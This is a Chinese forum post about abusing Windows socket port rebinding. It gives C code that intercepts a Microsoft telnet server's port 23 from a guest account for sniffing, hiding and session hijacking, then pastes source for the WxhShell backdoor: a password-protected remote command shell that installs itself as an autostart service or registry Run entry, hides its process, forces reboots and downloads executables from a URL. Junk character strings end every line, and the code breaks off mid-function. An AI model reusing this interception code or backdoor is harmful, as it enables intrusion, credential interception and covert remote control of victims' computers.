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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8l)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^R_e  
.9M.|  
  saddr.sin_family = AF_INET; U[8{_h<#  
fE25(wCz7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CZ=0mWfF  
Z9 w:&oa@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pl  
b1^cD6sT+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C1B'#F9EO  
T9jw X:n  
  这意味着什么?意味着可以进行如下的攻击: TQ'E5^  
S@}4-\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  *4yN3y  
l4T:d^Eb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >Y&KTSD"  
vjlGXT`m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =*MR(b>  
vr IV%l=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rlw3!]5+2  
Z^_>A)<s<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &3DK^|Lq  
x)viY5vjH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I:;+n^N?  
]b1Li}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .Q\\dESn"  
ZBM!MSf:  
  #include !v>ew9  
  #include dgc&[  
  #include T33|';k  
  #include    u''BP.Y S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ==9ZFdf  
  int main() !,bPe5?Ql  
  { &]NZvqdj.]  
  WORD wVersionRequested; 36A;!1  
  DWORD ret; |uUuFm  
  WSADATA wsaData; Fd8hGj1  
  BOOL val; d*-Xuv  
  SOCKADDR_IN saddr; =AkX4k  
  SOCKADDR_IN scaddr; x_:hii?6V  
  int err; nVOqn\m-  
  SOCKET s; v33T @  
  SOCKET sc; Eo=HNe  
  int caddsize; o# {#r@,i  
  HANDLE mt; kL;t8{n  
  DWORD tid;   AQh["1{yJ  
  wVersionRequested = MAKEWORD( 2, 2 ); O E|+R4M  
  err = WSAStartup( wVersionRequested, &wsaData ); B,y3] g6u  
  if ( err != 0 ) { uPDaq ]A  
  printf("error!WSAStartup failed!\n"); VS`Z_Xn  
  return -1; gCV rC  
  } 0wvU?z%WK  
  saddr.sin_family = AF_INET; [W(Y3yyY  
   K&S@F!#g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S0xIvzS  
'Y)/~\FI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [.3sE  
  saddr.sin_port = htons(23); 8+(c1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) - L`7+  
  { k3yxx]Rk/  
  printf("error!socket failed!\n"); 4ftj>O  
  return -1; zoXuFg  
  } >hb- 5xC  
  val = TRUE; v" FO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AM/lbMr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FsY`nWwg  
  { A-0m8<  
  printf("error!setsockopt failed!\n"); SLh~_ 5  
  return -1; e "_"vbk  
  } UK:M:9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0w}{(P;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]h8/M7k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L>:FGNf^H  
m X:bA5db  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S7#0*2#[o  
  { cYD1~JX.  
  ret=GetLastError(); `~E<Sf<M  
  printf("error!bind failed!\n"); 5f3!NeI  
  return -1; *a4 b  
  } :SeLkQC  
  listen(s,2); V8v,jS$l4  
  while(1) Wa/geQE1<  
  { mxhW|}_-j  
  caddsize = sizeof(scaddr); OfLM  
  //接受连接请求 ]+,nA R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P:a*t[+  
  if(sc!=INVALID_SOCKET) *NjMb{[ZQ  
  { Dauo(Uhuo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k>-'AWH^v  
  if(mt==NULL) \S5V}!_  
  { buc*rtHfA  
  printf("Thread Creat Failed!\n"); d<?X3&J  
  break; 6#-Z@fz%  
  } 1eF@_Y^a!  
  } ,whM22Af~{  
  CloseHandle(mt); U]mO7HK  
  } #VR`?n?,  
  closesocket(s); ]E..43  
  WSACleanup(); ~,+[M-  
  return 0; 't ;/,+:V  
  }   g4T3?"xMB_  
  DWORD WINAPI ClientThread(LPVOID lpParam) q8tug=c  
  { Oo$%Yh51~  
  SOCKET ss = (SOCKET)lpParam; JrxP,[qJG  
  SOCKET sc; N$ *>suQ,  
  unsigned char buf[4096]; 4SBLu%=s%  
  SOCKADDR_IN saddr; Qv=Bq{N  
  long num; ?e2Y`0  
  DWORD val; 7t+]z)  
  DWORD ret; t5A[o7BS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /gF]s_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BDnBBbBrz  
  saddr.sin_family = AF_INET; EyPy*_A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ; ?j~8  
  saddr.sin_port = htons(23); |:/ @t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2nYiG)tg  
  { roL]v\tr  
  printf("error!socket failed!\n"); GdL4|xv  
  return -1; 3XBp6`  
  } GMt)}Hz  
  val = 100; 7TR' zW2W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZS|Z98  
  { eKS:7:X  
  ret = GetLastError(); f`bIQ9R  
  return -1; )/ n29]  
  } 0-lPhnrp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wfWS-pQ  
  { vLD:(qTi  
  ret = GetLastError(); _i#@t7  
  return -1; Mj,2\ijNM  
  } e4?<GT   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?WMi S]Q\  
  { = c/3^e  
  printf("error!socket connect failed!\n"); O]4W|WI3  
  closesocket(sc); #SK#k<&P  
  closesocket(ss); U8U/?zW/&  
  return -1; E^'C "6  
  } R|6RI}  
  while(1) i"ck`6v"8  
  { C-_w]2MM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J>/Ci\OB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OcLg3.:L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }NR`81  
  num = recv(ss,buf,4096,0); / *O u$  
  if(num>0) +q 4W0  
  send(sc,buf,num,0); U_.n=d~B  
  else if(num==0) R20a(4 m  
  break; 56VE[G  
  num = recv(sc,buf,4096,0); lu<Np9/5<  
  if(num>0) {8ld:ZP  
  send(ss,buf,num,0); 1Qrm"TFo  
  else if(num==0) H@Kl  
  break; zvWO4\  
  } Z&BM%.NZJ  
  closesocket(ss); 44g`=o@  
  closesocket(sc); ^?81.b|qb  
  return 0 ; \E>%W  
  } Fwg#d[:u  
mw2rSUI{  
=kyJaT^5[  
========================================================== O[3q9*(  
a-SB1-5jf  
下边附上一个代码,,WXhSHELL 2M!+gk=+  
I67k M{V  
========================================================== zDKLo 3:  
)^V5*#69D  
#include "stdafx.h" E5v|SFD  
Xd90n>4S  
#include <stdio.h> l;"ub^AH  
#include <string.h> pIM*c6  
#include <windows.h> Oct\He\.  
#include <winsock2.h> 8HHgN`_  
#include <winsvc.h> ksxO<Y  
#include <urlmon.h> 'Hcd&3a  
 oaH+c9v  
#pragma comment (lib, "Ws2_32.lib") !W(/Y9g#  
#pragma comment (lib, "urlmon.lib") "E4i >g  
7"h=MB_  
#define MAX_USER   100 // 最大客户端连接数 ;D %5 nnr  
#define BUF_SOCK   200 // sock buffer [)T$91 6I  
#define KEY_BUFF   255 // 输入 buffer 7 UB8N vo  
bdNY7|j`  
#define REBOOT     0   // 重启 g: H[#I  
#define SHUTDOWN   1   // 关机 znGZULa#  
CfazD??x  
#define DEF_PORT   5000 // 监听端口 s8/ozaeo  
(2hk <  
#define REG_LEN     16   // 注册表键长度 WzNG<rG  
#define SVC_LEN     80   // NT服务名长度 R|cFpRe  
PaU@T!v  
// 从dll定义API t*ri`}a{v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |hZ|+7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %-0em!tUV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q_UCF'f;}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a78;\{&L'  
b[QCM/  
// wxhshell配置信息 u0(hVK`":  
struct WSCFG { Q>#)LHX  
  int ws_port;         // 监听端口 Yg]FF`{p=  
  char ws_passstr[REG_LEN]; // 口令 )dzjz%B)  
  int ws_autoins;       // 安装标记, 1=yes 0=no HfZ (U5~  
  char ws_regname[REG_LEN]; // 注册表键名 J~nJpUyP*  
  char ws_svcname[REG_LEN]; // 服务名 $! fz~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AVdd?Ew  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o} bj!h]N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #I*ht0++  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7csl1|U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /3"e3{u y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oIu,rjb  
o i,g  
}; & Q|f*T  
4)c"@Zf  
// default Wxhshell configuration 0t/z "  
struct WSCFG wscfg={DEF_PORT, #o}{cXX#  
    "xuhuanlingzhe", XO8 H]  
    1, "pKGUM  
    "Wxhshell", "' i [~  
    "Wxhshell", ,vHX>)M|  
            "WxhShell Service", yA`]%U((  
    "Wrsky Windows CmdShell Service", [1[[$ Dr  
    "Please Input Your Password: ", <_FF~lj  
  1, JsoWaD  
  "http://www.wrsky.com/wxhshell.exe", f;qKrw  
  "Wxhshell.exe" hVQ+ J!qD  
    }; ttJ:[ R'  
-* -zU#2|  
// 消息定义模块 ix_$Ok  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #L)4 |  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {f6A[ZO;J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^LQ lfd  
char *msg_ws_ext="\n\rExit."; gIf+.^/m1  
char *msg_ws_end="\n\rQuit."; IhFw{=2*  
char *msg_ws_boot="\n\rReboot..."; NnSI)*%'  
char *msg_ws_poff="\n\rShutdown..."; "S:NU .c?  
char *msg_ws_down="\n\rSave to "; *+1"S ]YF  
u9y-zhj_$  
char *msg_ws_err="\n\rErr!"; SE7 (+r  
char *msg_ws_ok="\n\rOK!"; d}6AHS[  
rym\5 `)  
char ExeFile[MAX_PATH]; L_CEY  
int nUser = 0; XxrO:$  
HANDLE handles[MAX_USER]; NVM2\fs  
int OsIsNt; @'G ( k;  
(B?xq1Q  
SERVICE_STATUS       serviceStatus; ?X5glDZ$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SieV%T0t1  
13NS*%~7[  
// 函数声明 pC?1gc1G  
int Install(void); 2L{:H  
int Uninstall(void); ^.$r1/U  
int DownloadFile(char *sURL, SOCKET wsh); @kgpq  
int Boot(int flag); JOoLHZQ1v  
void HideProc(void); ;*$8iwBQ_  
int GetOsVer(void); p<^/T,&I  
int Wxhshell(SOCKET wsl);  TVEF+t  
void TalkWithClient(void *cs); 2>_LX!kyP]  
int CmdShell(SOCKET sock); n4 6PQm%p  
int StartFromService(void); .4m3@!qo)E  
int StartWxhshell(LPSTR lpCmdLine); MRY)m@*+6  
5|B(K @<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2 ShlYW@~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~bm2_/RL  
&4$43\(D  
// 数据结构和表定义 (? #U&  
SERVICE_TABLE_ENTRY DispatchTable[] = nm%4L  
{ H]n0JG9K  
{wscfg.ws_svcname, NTServiceMain}, vpr @  
{NULL, NULL} OuJ y$e  
};  "%@=?X8  
GlkAJe]  
// 自我安装 pU)3*9?cIl  
int Install(void) -<HvhW  
{ QH? 2v  
  char svExeFile[MAX_PATH]; eRWF7`HH+  
  HKEY key; =v#A&IPA'  
  strcpy(svExeFile,ExeFile); %:8q7PN|  
l8 2uK"M  
// 如果是win9x系统,修改注册表设为自启动 d=u%"36y  
if(!OsIsNt) { z@S8H6jM)S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =R8.QBVdN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DD{@lM\vc  
  RegCloseKey(key); )<&CnK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !5 :1'$d]H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \iTPJcb5  
  RegCloseKey(key); j$i8@]  
  return 0; Js2_&?}3f  
    } -,CndRKx  
  } {]^%?]e  
} sT T455h)  
else { {xb%P!o`  
LYo7?rp  
// 如果是NT以上系统,安装为系统服务 oDiv9 jm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lNp:2P  
if (schSCManager!=0) kQiW5  
{ ^=M(K''  
  SC_HANDLE schService = CreateService \(7#N<-  
  ( g&(~MD2{  
  schSCManager, ]KPg=@Q/  
  wscfg.ws_svcname, KVe'2Q<  
  wscfg.ws_svcdisp, eOnl s x/  
  SERVICE_ALL_ACCESS, lSsFI30  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \kRJUX! s  
  SERVICE_AUTO_START, TKutO0  
  SERVICE_ERROR_NORMAL, {_gj>n(1  
  svExeFile, G5@fqh6ws  
  NULL, q9Opa2  
  NULL, Fm+)mmJP  
  NULL, 'C4Ll2  
  NULL, N`GwL aF  
  NULL $">NW& i(  
  ); {qdhp_~^l  
  if (schService!=0) ?fX8WRdh  
  { rVW'KN  
  CloseServiceHandle(schService); |4*2xDcl  
  CloseServiceHandle(schSCManager); v7I*W/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -2u+m  
  strcat(svExeFile,wscfg.ws_svcname); iKTU28x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dve5m=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I6 Q_A  
  RegCloseKey(key); 745V!#3!M  
  return 0; RloPP  
    } c15^<6]g  
  } ialk6i![  
  CloseServiceHandle(schSCManager); V \ 8 5  
} >knR>96  
} I }I/dh  
#AnSjl  
return 1; YU"\Wd[  
} B{i;+[ase  
uWT&`m_(2  
// 自我卸载 49kia!FR  
int Uninstall(void) `r bqYU0  
{ J]YN2{(x  
  HKEY key; PSw+E';  
<Q~7a hF  
if(!OsIsNt) { xa^HU~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q`K-T _<  
  RegDeleteValue(key,wscfg.ws_regname); ?{Z0g+B1  
  RegCloseKey(key); I%WK*AORM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H/I`c>Zn  
  RegDeleteValue(key,wscfg.ws_regname); s3%8W==rBW  
  RegCloseKey(key); @*{BX~f  
  return 0; Hjkgy%N  
  } u1Yp5jp^K  
} IYC#H}  
} 6df&B .gg  
else { j %0_!*#3  
 h\ek2K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,H1~_|)<  
if (schSCManager!=0) dNt|"9~&  
{ S.4YC>E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oeKc-[r  
  if (schService!=0) &Rt]K  
  { 6)YNjh.{ *  
  if(DeleteService(schService)!=0) { <plR<iI.  
  CloseServiceHandle(schService); &;3z 1s/  
  CloseServiceHandle(schSCManager); U2?gODh'  
  return 0; VO6y9X"  
  } -$ft `Ih  
  CloseServiceHandle(schService); [\F,\  
  } Ox'.sq4  
  CloseServiceHandle(schSCManager); P!ICno6[e  
} . +?lID  
} ;MI<J>s  
PTZ1 oD  
return 1; o/ 5 Fg>d  
} ZEJa dR  
D/`E!6Fk=  
// 从指定url下载文件 Kn\(Xd.>  
int DownloadFile(char *sURL, SOCKET wsh) za/#R_%p  
{ B)`X 7uG  
  HRESULT hr; rl7Y=*Dv  
char seps[]= "/"; ]vFmY  
char *token; }w8AnaC  
char *file; H >{K]7D/y  
char myURL[MAX_PATH]; 9Q1GV>j>B  
char myFILE[MAX_PATH]; @S92D6  
Wc G&W>  
strcpy(myURL,sURL); Zi)8KO[/0  
  token=strtok(myURL,seps); T480w6-@  
  while(token!=NULL) PyF4uCn"H  
  { }O{"qs#)  
    file=token; PSE| 4{'  
  token=strtok(NULL,seps); *xC '  
  } "c*|vE  
l d9#4D[#  
GetCurrentDirectory(MAX_PATH,myFILE); pwC/&bu  
strcat(myFILE, "\\"); l[|e3<H  
strcat(myFILE, file); mjHY-lK  
  send(wsh,myFILE,strlen(myFILE),0); AUV$ S2  
send(wsh,"...",3,0); ^w\uOd`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A 6L}5#7-  
  if(hr==S_OK) NR@Tj]`k  
return 0; lukV G2wDL  
else &3J#"9 _S  
return 1; 'b,D;'v  
U:e9Vq'N m  
} b2%[9) "I.  
h`j gF  
// 系统电源模块 /XB1U[b  
int Boot(int flag) 0xcqX!(  
{ b4ivWb|`  
  HANDLE hToken; X>>rvlDN  
  TOKEN_PRIVILEGES tkp; xw H`alu  
RGLqn{<V  
  if(OsIsNt) { 6f>HE'N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `yXy T^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }VRo:sJb  
    tkp.PrivilegeCount = 1; 5i?U-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0=DawJ9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <H/H@xQ8G  
if(flag==REBOOT) { @=c='V]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nb1lawC  
  return 0; 7 d5x4^EYE  
} /K<Nlxcm  
else { _C\b,D}p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Of=z!|l2  
  return 0; OHo0W)XUU  
} s q KkTG3  
  } jw[`\h}8  
  else { b1 cd5  
if(flag==REBOOT) { 1P_bG47  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5 S& >9l  
  return 0; y;jyfc$ `  
} { Se93o  
else { .Dmvgi]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vp$ckr  
  return 0; -( G2@NG  
} !c7Od )]  
} D>Z_N?iR  
0a'y\f:6*  
return 1; MC@cT^Z^  
} O 7sn>uO  
< lrw7T  
// win9x进程隐藏模块 )J0VB't  
void HideProc(void) t;'.D @  
{ _HQa3wj  
KWo)}m*6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HApP*1J^c  
  if ( hKernel != NULL ) w[ngkLEA  
  { 5;l_-0=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4E)[<%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ceCshxTU  
    FreeLibrary(hKernel); %XeU4yg\e  
  } .YkKIei  
>Z%^|S9  
return; :xV&%Qa1  
} Su7?-vY  
 lzuZv$K  
// 获取操作系统版本 HChewrUAn  
int GetOsVer(void) 7d*<'k]{,  
{ s7?kU3 y=s  
  OSVERSIONINFO winfo; ~6nQ-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N_0O"" d  
  GetVersionEx(&winfo); GZw<Y+/V"5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wkGF&U  
  return 1; ?8 F7BS4oQ  
  else Yq_zlxd%F  
  return 0; ~gc)Ww0(Q  
} {~"=6iyj  
}!LYV  
// 客户端句柄模块 P,wJ@8lv  
int Wxhshell(SOCKET wsl) (ni$wjq=z^  
{ k <qQ+\X  
  SOCKET wsh; MqqS3   
  struct sockaddr_in client; a#1X)ot  
  DWORD myID; AN;?`AM;  
3kMiC$  
  while(nUser<MAX_USER) LtQy(F%8/  
{ u+9Mc u"  
  int nSize=sizeof(client); |]Xw1.S.L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d~8Q)"6 [  
  if(wsh==INVALID_SOCKET) return 1; [I9d  
}bVyvH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SZPu"O\  
if(handles[nUser]==0) tv2dyC&a  
  closesocket(wsh); kLhtkuS4  
else yBoZ@9Do  
  nUser++; ]V_9[=%  
  } 0)B+ :  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MouYZI)  
wg_Z!(Hr#  
  return 0; l;2bBx7vW  
} 'a}{s>{O  
Oq("E(z+f  
// 关闭 socket ~$$V=$&  
void CloseIt(SOCKET wsh) -=RXhE_{  
{ wmIq{CXx,  
closesocket(wsh); + |,CIl+  
nUser--; ,y.0 Cb0  
ExitThread(0); JnZxP> 2B  
} G\ofg  
dw-r}Qioe  
// 客户端请求句柄 F8/@/B  
void TalkWithClient(void *cs) `y\:3bQ4  
{ 4u&doSXR  
4aRYz\yT=  
  SOCKET wsh=(SOCKET)cs; bk<3oI  
  char pwd[SVC_LEN]; mf3G$=[  
  char cmd[KEY_BUFF]; t*x;{{jL#(  
char chr[1]; 4c% :?H@2  
int i,j; ,rd+ dN  
/vMpSN|3  
  while (nUser < MAX_USER) { b?$3jOtW  
P'K')]D=!  
if(wscfg.ws_passstr) { 4q[r KNl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Zzm'pC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sxqX R6p{  
  //ZeroMemory(pwd,KEY_BUFF); ,LW0{(&z  
      i=0; -[F^~Gv|;  
  while(i<SVC_LEN) { q=bXHtU  
*8N~ Zmz  
  // 设置超时 Oe273Y^e  
  fd_set FdRead; ,wV2ZEW}e  
  struct timeval TimeOut; %vksN$^  
  FD_ZERO(&FdRead); j% nd  
  FD_SET(wsh,&FdRead); ~i \69q%  
  TimeOut.tv_sec=8; ^K"`k43{  
  TimeOut.tv_usec=0; ]?r8^LyZ4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (ZnA#%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0nS6<:  
IE6/ E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @dXf_2Tv=  
  pwd=chr[0]; CtfSfSAUuu  
  if(chr[0]==0xd || chr[0]==0xa) { zQ [mO  
  pwd=0; GA|q[<U  
  break; SbZk{lWcq  
  } =4I361oMf  
  i++; b{oNV-<&{  
    } Y /+ D4^ L  
p.%$  
  // 如果是非法用户,关闭 socket bHP-Z9riv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #0R;^#F/  
} xv2;h4{<  
;V;4#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _:g V7>S?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1$|z%(  
AL;"S;8  
while(1) { rQWft r^  
JUE>g8\b  
  ZeroMemory(cmd,KEY_BUFF); uPqPoI>N!  
w+}dm^X  
      // 自动支持客户端 telnet标准   'i,<j s3\f  
  j=0; uYl ?Q  
  while(j<KEY_BUFF) { My ^pQ]@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @6gz)  p  
  cmd[j]=chr[0]; e nNn*.*|  
  if(chr[0]==0xa || chr[0]==0xd) { A T%0i  
  cmd[j]=0; nuQ"\ G  
  break; KDhHp^IXQ  
  } =19]a  
  j++; "P|G^*"~2  
    } d0xV<{,-  
@@5u{K  
  // 下载文件 o{ (v  
  if(strstr(cmd,"http://")) { d. a>(G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WULj@ds\~  
  if(DownloadFile(cmd,wsh)) $^l=#tV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &a0%7ea`.S  
  else F ^\v`l,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bj2rA.M  
  } ?{[H+hzz0  
  else { nQ+{1 C  
P8EGd}2{8  
    switch(cmd[0]) { k X-AC5]  
  4qMHVPJv\  
  // 帮助 ^TjFR*S'E  
  case '?': { <omz9d1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T>z@;5C  
    break; 936t6K&  
  } gK>Vm9rO  
  // 安装 /x-t -}  
  case 'i': { pif8/e  
    if(Install()) VjnSi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P~#jvm!  
    else N>z8\y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / [19ITZ  
    break; #B?7{#.1  
    } &#;,P :.'  
  // 卸载 4>|5B:  
  case 'r': { 4[#.N 3Y4*  
    if(Uninstall()) ,^[s4 =3X?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qw ^tzP8  
    else SX4p(t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =FKB)#N  
    break; -(2-zznZ  
    } AE$)RhY`  
  // 显示 wxhshell 所在路径 upJishy&I  
  case 'p': {  [ ~E}x  
    char svExeFile[MAX_PATH]; P-mrH  
    strcpy(svExeFile,"\n\r"); i|| YD-hkK  
      strcat(svExeFile,ExeFile); !F8 !]"*  
        send(wsh,svExeFile,strlen(svExeFile),0); lL^7x  
    break; k"U4E J{  
    } 3ZVfZf  
  // 重启 ;~K($_#H  
  case 'b': { l>]M^=,&7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tY#^3ac  
    if(Boot(REBOOT)) xq{4i|d)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=2t(@aC  
    else { U".-C`4v  
    closesocket(wsh); c;e ,)$)-|  
    ExitThread(0); ?BRL;(x  
    } u>eu47"n!  
    break; ?R+$4;iy  
    } Jq!($PdA  
  // 关机 8 2qe|XD4p  
  case 'd': { f6#H@ X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p<jr&zVEc>  
    if(Boot(SHUTDOWN)) UOu&sg*o2B  
